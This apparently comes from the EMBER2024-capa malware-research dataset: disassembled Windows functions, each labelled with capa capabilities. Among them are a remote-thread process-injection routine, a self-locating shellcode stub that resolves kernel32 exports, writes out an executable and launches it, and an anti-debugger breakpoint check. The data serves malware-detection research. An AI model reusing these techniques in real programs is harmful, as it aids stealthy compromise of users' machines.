joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58b430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.005961ca
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x58b461
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.0058b474
pop edi
pop esi
pop ebx
ret 8

Function at 0x58ca4b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x58ca83
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0058aa54
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0058aa2c
jmp 0x58ca8f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x58e40c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x58e44e
call fcn.005961ca
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x58e44e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x58e445
xor eax, eax
jmp 0x58e456
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0058e45c
pop edi
pop esi
pop ebx
ret 4

Function at 0x5966fa
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x596728
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x596746
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00596660
jmp 0x596746
mov eax, dword [esi + 0x14]
test eax, eax
je 0x596746
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00596660
test edi, edi
mov eax, edi
jne 0x596730
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x446000
Capabilities:
Accept command line arguments
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
call 0x446005
pop ebx
sub ebx, 0x401066
mov edi, dword [esp]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x44602a
mov esi, edi
add esi, dword [esi + 0x3c]
cmp word [esi], 0x4550
jne 0x44602a
jmp 0x44603a
sub edi, 0x10000
cmp edi, 0x70000000
jb 0x44603a
jmp 0x446015
mov dword [ebx + 0x4011d9], edi
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4011d9]
lea esi, [ebx + 0x40119e]
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x44606e
pop esi
mov edx, esi
pop esi
jmp 0x44607f
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x446050
sub esp, 4
jmp 0x446199
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4011d9]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4011d9]
mov eax, dword [eax]
add eax, dword [ebx + 0x4011d9]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4011d9]
lea eax, [ebx + 0x4011ad]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4011ba]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
lea ecx, [ebx + 0x4011c3]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4011cd]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x401204]
push ecx
push ecx
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
call eax
lea eax, [ebx + 0x4011ec]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
push esi
call eax
lea eax, [ebx + 0x4011dd]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
sub esp, 0x44
mov edx, esp
mov esi, 0
mov ecx, 0x11
mov dword [edx], esi
add edx, 4
loop 0x44616a
mov edx, 0x44
mov dword [esp], edx
sub esp, 0x10
mov edx, esp
push esp
add edx, 0x10
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
add edx, 0x44
push edx
call eax
mov esp, ebp
jmp 0x406e20

Function at 0x44660e
Capabilities:
Parse pe header

Disassembly:
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x446651
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x446651
mov ecx, dword [esp + 4]
add eax, 4
mov dword [ecx], eax
mov ecx, dword [esp + 8]
add eax, 0x14
mov dword [ecx], eax
mov ecx, 0x10b
cmp word [eax], cx
jne 0x446651
mov ecx, dword [esp + 0xc]
add eax, 0xe0
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x446653
xor eax, eax
ret 0xc
Function at 0x44cae9
Capabilities:
Check for software breakpoints

Disassembly:
mov eax, dword [0x400820]
mov eax, dword [eax]
mov eax, dword [eax + 0x48]
push esi
xor ecx, ecx
xor edx, edx
mov esi, 0xff
cmp byte [eax], 0xcc
jne 0x44cb17
cmp byte [eax + 1], cl
jne 0x44cb17
cmp byte [eax + 2], cl
jne 0x44cb17
cmp byte [eax + 3], cl
jne 0x44cb17
cmp byte [eax - 6], 0xe4
je 0x44cb21
inc eax
inc edx
cmp edx, esi
jl 0x44cafd
xor eax, eax
pop esi
ret
xor edx, edx
cmp byte [eax], 0xff
jne 0x44cb34
cmp byte [eax + 1], 0x75
jne 0x44cb34
cmp byte [eax + 2], 0xf4
je 0x44cb3d
inc eax
inc edx
cmp edx, 0x30
jl 0x44cb23
jmp 0x44cb1d
add eax, 5
mov edx, dword [eax]
lea edx, [edx + eax + 4]
mov dword [0x400908], edx
cmp byte [eax], 0xff
jne 0x44cb5d
cmp byte [eax + 1], 0x75
jne 0x44cb5d
cmp byte [eax + 2], 0xfc
je 0x44cb65
inc eax
inc ecx
cmp ecx, esi
jl 0x44cb4c
jmp 0x44cb1d
add eax, 4
mov ecx, dword [eax]
lea eax, [ecx + eax + 4]
mov dword [0x400914], eax
xor eax, eax
inc eax
pop esi
ret

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x403e59
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x133f
sub esp, 0x70
push fcn.00403e59
xor esi, esi
xor edi, edi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea ebx, [ebp - 0xa8]
push ebx
push dword [ebp + 8]
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
fldcw word [ebp - 0x10]
push dword [ebp - 0xa8]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
fldcw word [ebp - 0x10]
mov esi, eax
push 4
push 0x1000
push 0x2000
push 0
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
fldcw word [ebp - 0x10]
mov dword [ebp - 0xac], eax
lea ebx, [ebp - 0xa4]
push ebx
push 0x2000
mov ebx, dword [ebp + 0xc]
push ebx
push dword [ebp - 0xac]
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
fldcw word [ebp - 0x10]
mov ebx, dword [ebp + 0x14]
mov eax, ebx
test eax, eax
je 0x403f37
push 4
push 0x1000
mov ebx, dword [ebp + 0x14]
push dword [ebx]
push 0
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
fldcw word [ebp - 0x10]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0xa4]
push ebx
mov ebx, dword [ebp + 0x14]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push ebx
push dword [ebp - 0xb0]
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
fldcw word [ebp - 0x10]
lea ebx, [ebp - 0xa4]
push ebx
push 0
push dword [ebp - 0xb0]
push dword [ebp - 0xac]
push 0
push 0
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
fldcw word [ebp - 0x10]
mov edi, eax
fild qword [0x40c398]
call fcn.00409c00
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
fldcw word [ebp - 0x10]
push 0x8000
push 0
push dword [ebp - 0xac]
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
fldcw word [ebp - 0x10]
mov ebx, dword [ebp + 0x14]
mov eax, ebx
test eax, eax
je 0x403fb5
push 0x8000
push 0
push dword [ebp - 0xb0]
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
fldcw word [ebp - 0x10]
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
fldcw word [ebp - 0x10]
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
fldcw word [ebp - 0x10]
mov eax, dword [ebp - 0x98]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x404298
Capabilities:
Accept command line arguments
Allocate thread local storage
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, section..data
test word [0x40427a], 4
jne 0x4042b3
jmp 0x4046e2
jmp fcn.004044e5
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
call fcn.004043e1
mov dword [ebx + 0x3f0], 1
lea eax, [ebx + 0x5c4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
sub esp, 0x44
mov dword [esp], 0x44
mov dword [esp + 0x2c], 0
push esp
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov eax, 0xa
test dword [esp + 0x2c], 1
je 0x404733
movzx eax, word [esp + 0x30]
add esp, 0x44
mov dword [ebx + 0x3e4], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.00404487
mov dword [ebx + 0x3e0], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebx + 0x3ec], eax
call fcn.004042b8
push 0xff
jb 0x4047b2
pop eax
movzx ecx, word [0x404278]
jecxz 0x40477d
push ecx
push 8
push esp
call dword [sym.imp.COMCTL32.DLL_InitCommonControlsEx]
pop eax
pop eax
call fcn.0040432d
push eax
mov ebx, section..data
mov ecx, dword [ebx + 0xd8]
call fcn.004047be
mov ecx, dword [ebx + 0xb4]
jecxz 0x4047a2
push ecx
call dword [0x43b000]
mov edi, dword [ebx + 0x428]
call fcn.00404332
call fcn.00404319
call dword [sym.imp.OLE32.DLL_CoUninitialize]
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x4042b8
Capabilities:
Allocate thread local storage

Disassembly:
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
stc
je 0x404318
mov dword [ebx + 0x3d0], eax
mov dword [ebx + 0x3d8], 0
mov dword [ebx + 0x3d4], 0
call fcn.004045c4
jb 0x404318
mov dword [ebx + 0x3d4], eax
mov word [eax + 0xac], 8
call fcn.00404307
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x404321
push ebx
jb 0x40436e
add byte [esi - 4], bl
mov bl, 0xd0
add eax, dword [eax]
add bh, bh
adc eax, sym.imp.KERNEL32.DLL_TlsFree
ret

Function at 0x4047c8
Capabilities:
Terminate process

Disassembly:
push ebx
push ecx
push esi
push edi
lea esi, [esp + 0x18]
mov ecx, dword [esi - 4]
push ecx
call fcn.00408327
jb 0x404818
lea esi, [esi + ecx*4 - 4]
push eax
xor ebx, ebx
mov eax, dword [esi]
mov byte [edi], al
sub esi, 4
inc ebx
cmp eax, 0xffffffff
je 0x4047f1
dec ebx
inc edi
loop 0x4047e2
pop eax
test ebx, ebx
je 0x404805
pop ecx
push ecx
sub ecx, ebx
mov esi, edx
call fcn.004083a9
jb 0x404818
call fcn.0040a504
pop edx
pop edi
pop esi
pop ecx
pop ebx
shl edx, 2
pop dword [esp + edx]
add esp, edx
ret
call fcn.0040a502
pop edx
pop edi
pop esi
pop ecx
pop ebx
shl edx, 2
pop dword [esp + edx]
add esp, edx
jmp fcn.004044fc
Function at 0x404f48
Capabilities:
Terminate process

Disassembly:
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
call fcn.004045c4
jb 0x404f58
ret
jmp fcn.004044fc

Function at 0x404f5d
Capabilities:
Terminate process

Disassembly:
call dword [sym.imp.OLE32.DLL_CoUninitialize]
call fcn.004045fd
jb 0x404f58
ret

Function at 0x404fb7
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edx, ecx
mov esi, dword [ebp - 0x88]
mov esi, dword [ebp + esi - 0x6c]
call fcn.00408383
test eax, eax
jns 0x404fd0
add eax, ecx
test edx, edx
je 0x405010
jns 0x404fdb
add edx, ecx
js 0x405010
inc edx
dec edx
add esi, edx
sub ecx, edx
jae 0x404fe4
xor ecx, ecx
cmp ecx, eax
jb 0x404fea
mov ecx, eax
call fcn.00408327
jb 0x405014
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00408b5b
mov esi, dword [ebp - 0x88]
mov dword [ebp + esi - 0x6c], edx
pop edi
pop esi
ret
xor edx, edx
jmp 0x404ffe
pop edi
pop esi
jmp fcn.004044fc

Function at 0x40803e
Capabilities:
Terminate process

Disassembly:
push edi
xchg ecx, ebx
call fcn.00408327
jb 0x40805e
call fcn.0040a504
cld
mov ah, al
shr ecx, 1
rep stosw word es:[edi], ax
adc cl, 0
rep stosb byte es:[edi], al
xchg ecx, ebx
pop edi
ret
call fcn.0040a502
pop edi
jmp fcn.004044fc

Function at 0x408be7
Capabilities:
Terminate process

Disassembly:
push ecx
mov ecx, 0xf
xor edx, edx
call fcn.00408c44
pop ecx
jb 0x408c3f
ret
jmp fcn.004044f1

Function at 0x409c07
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov esi, dword [ebp - 0x88]
mov esi, dword [ebp + esi - 0x6c]
add dword [ebp - 0x88], 4
test esi, 1
je 0x409c27
and esi, 0xfffffffe
jne 0x409c31
xchg dword [ebx], esi
call fcn.0040835b
pop edi
pop esi
ret
call fcn.00408383
mov edi, dword [ebx]
or edi, edi
je 0x409c41
cmp ecx, dword [edi - 4]
je 0x409c61
call fcn.00408327
jb 0x409c71
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xchg dword [ebx], edx
mov esi, edx
call fcn.0040835b
pop edi
pop esi
ret
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
xchg dword [ebx], edx
mov esi, edx
call fcn.0040835b
pop edi
pop esi
jmp fcn.004044fc

Function at 0x409cc9
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [ebp - 0x88]
mov eax, dword [ebp + esi - 0x6c]
add dword [ebp - 0x88], 4
pop esi
test eax, 1
jne 0x409ce9
mov dword [ebx], eax
pop edx
push eax
push edx
ret
push esi
push edi
mov esi, eax
call fcn.00408383
call fcn.00408327
jb 0x409d0e
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov dword [ebx], edx
pop eax
push edx
push eax
ret
pop edi
pop esi
mov dword [ebx], edx
pop ebx
push edx
push ebx
jmp fcn.004044fc
Function at 0x409e86
Capabilities:
Terminate process

Disassembly:
push ebx
push ecx
push esi
push edi
mov edi, dword [ebp - 0x88]
mov esi, dword [ebp + edi - 0x6c]
call fcn.00408383
mov ebx, ecx
push esi
mov esi, dword [ebp + edi - 0x68]
call fcn.00408383
jecxz 0x409efc
test ebx, ebx
je 0x409f04
add ebx, ecx
xchg ecx, ebx
call fcn.00408327
jb 0x409f11
xchg ecx, ebx
sub ebx, ecx
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
mov ecx, ebx
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x88]
mov esi, edx
xchg dword [ebp + edi - 0x68], esi
call fcn.0040835b
mov esi, dword [ebp + edi - 0x6c]
call fcn.0040835b
add dword [ebp - 0x88], 4
pop edi
pop esi
pop ecx
pop ebx
ret
mov esi, dword [ebp + edi - 0x6c]
mov dword [ebp + edi - 0x68], esi
add dword [ebp - 0x88], 4
pop esi
pop edi
pop esi
pop ecx
pop ebx
ret
pop esi
pop edi
pop esi
pop ecx
pop ebx
jmp fcn.004044fc

Function at 0x40a3ea
Capabilities:
Terminate process

Disassembly:
push eax
push edx
push esi
mov ebx, dword [ebp - 0x84]
sub ebx, 0xa
mov esi, dword [ebx]
sub ebx, 4
shr esi, 1
jb 0x40a417
je 0x40a413
shr esi, 1
jae 0x40a438
shl esi, 2
mov esi, dword [ebp + esi]
call fcn.0040835b
jmp 0x40a3f6
pop esi
pop edx
pop eax
ret
shr esi, 1
jb 0x40a449
push ebx
shl esi, 2
lea ebx, [ebp + esi]
mov eax, 1
call fcn.00404bd6
pop ebx
jae 0x40a3f6
pop esi
pop edx
pop eax
jmp fcn.004044fc
shl esi, 2
mov ecx, dword [ebp + esi]
jecxz 0x40a3f6
push ecx
mov ecx, dword [ecx]
call dword [ecx + 8]
jmp 0x40a3f6
lea ecx, [ebp + esi*4]
push ecx
call dword [sym.imp.OLEAUT32.DLL_VariantClear]
jmp 0x40a3f6
Function at 0x4010c0
Capabilities:
Accept command line arguments
Link many functions at runtime

Disassembly:
sub esp, 0x110
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x65327c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
mov dword [0xa54180], eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [0x854138]
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 8]
mov dword [esp + 8], 8
push edx
mov dword [esp + 0x10], 4
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov dword [esp + 0xc], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [0xa54180]
test eax, eax
je 0x40126c
push 0x653264
push eax
call esi
mov ecx, dword [0xa54180]
push 0x653250
push ecx
mov dword [0xa5418c], eax
call esi
mov edx, dword [0xa54180]
push 0x653234
push edx
mov dword [0xa54160], eax
call esi
mov dword [0xa54188], eax
mov eax, dword [0xa54180]
push 0x653214
push eax
call esi
mov ecx, dword [0xa54180]
push 0x6531f4
push ecx
mov dword [0xa5416c], eax
call esi
mov edx, dword [0xa54180]
push 0x6531d0
push edx
mov dword [0xa5419c], eax
call esi
mov dword [0xa54184], eax
mov eax, dword [0xa54180]
push 0x6531ac
push eax
call esi
test edi, edi
mov dword [0xa54168], eax
je 0x4011e9
mov ecx, dword [0x653f54]
push 0x653c88
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [0xa54180]
push 0x65318c
push edx
call esi
mov dword [0xa5415c], eax
mov eax, dword [0xa54180]
push 0x65316c
push eax
call esi
mov ecx, dword [0xa54180]
push 0x65314c
push ecx
mov dword [0xa54198], eax
call esi
mov edx, dword [0xa54180]
push 0x65312c
push edx
mov dword [0xa54164], eax
call esi
mov dword [0xa54158], eax
mov eax, dword [0xa54180]
push 0x653110
push eax
call esi
mov ecx, dword [0xa54180]
push 0x6530f0
push ecx
mov dword [0xa54154], eax
call esi
mov edx, dword [0xa54180]
push 0x6530d0
push edx
mov dword [0xa54190], eax
call esi
mov dword [0x65407c], eax
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x6530c4
call edi
test eax, eax
mov dword [0x854148], eax
je 0x4012a1
push 0x6530a8
push eax
call esi
mov dword [0x654084], eax
mov eax, dword [0x854148]
push 0x653094
push eax
call esi
mov dword [0x654080], eax
push 0x653088
call edi
test eax, eax
mov dword [0xa54150], eax
je 0x4012be
push 0x653074
push eax
call esi
mov dword [0x854144], eax
push 0x653068
call edi
test eax, eax
mov dword [0xa5414c], eax
je 0x4012f3
push 0x653054
push eax
call esi
mov ecx, dword [0xa5414c]
push 0x653034
push ecx
mov dword [0x854140], eax
call esi
mov dword [0x654088], eax
mov eax, dword [0xa5414c]
mov ecx, dword [0xa54180]
pop edi
test ecx, ecx
pop esi
je 0x401320
mov ecx, dword [0x854148]
test ecx, ecx
je 0x401320
mov ecx, dword [0xa54150]
test ecx, ecx
je 0x401320
test eax, eax
je 0x401320
mov al, 1
add esp, 0x110
ret
xor al, al
add esp, 0x110
ret
Function at 0x64f510
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6506a0
push 0x64f500
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
cld
add bh, bh
adc eax, sym.imp.MSVCRT.dll___set_app_type
pop ecx
or dword [0xa541d4], 0xffffffff
or dword [0xa541d8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0xa541d0]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0xa541cc]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0xa541dc], eax
call fcn.0064f68f
cmp dword [0x653470], ebx
jne 0x64f593
push 0x64f68c
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0064f67a
push 0x65300c
push 0x653008
call sub.MSVCRT.dll__initterm
mov eax, dword [0xa541c8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [0xa541c4]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x653004
push section..data1
call sub.MSVCRT.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.MSVCRT.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x64f626
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x64f5fa
cmp al, 0x22
jne 0x64f5ec
cmp byte [esi], 0x22
jne 0x64f603
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x64f60d
cmp al, 0x20
jbe 0x64f5ff
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x64f631
movzx eax, word [ebp - 0x2c]
jmp 0x64f634
cmp byte [esi], 0x20
jbe 0x64f603
inc esi
mov dword [ebp - 0x74], esi
jmp 0x64f626
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret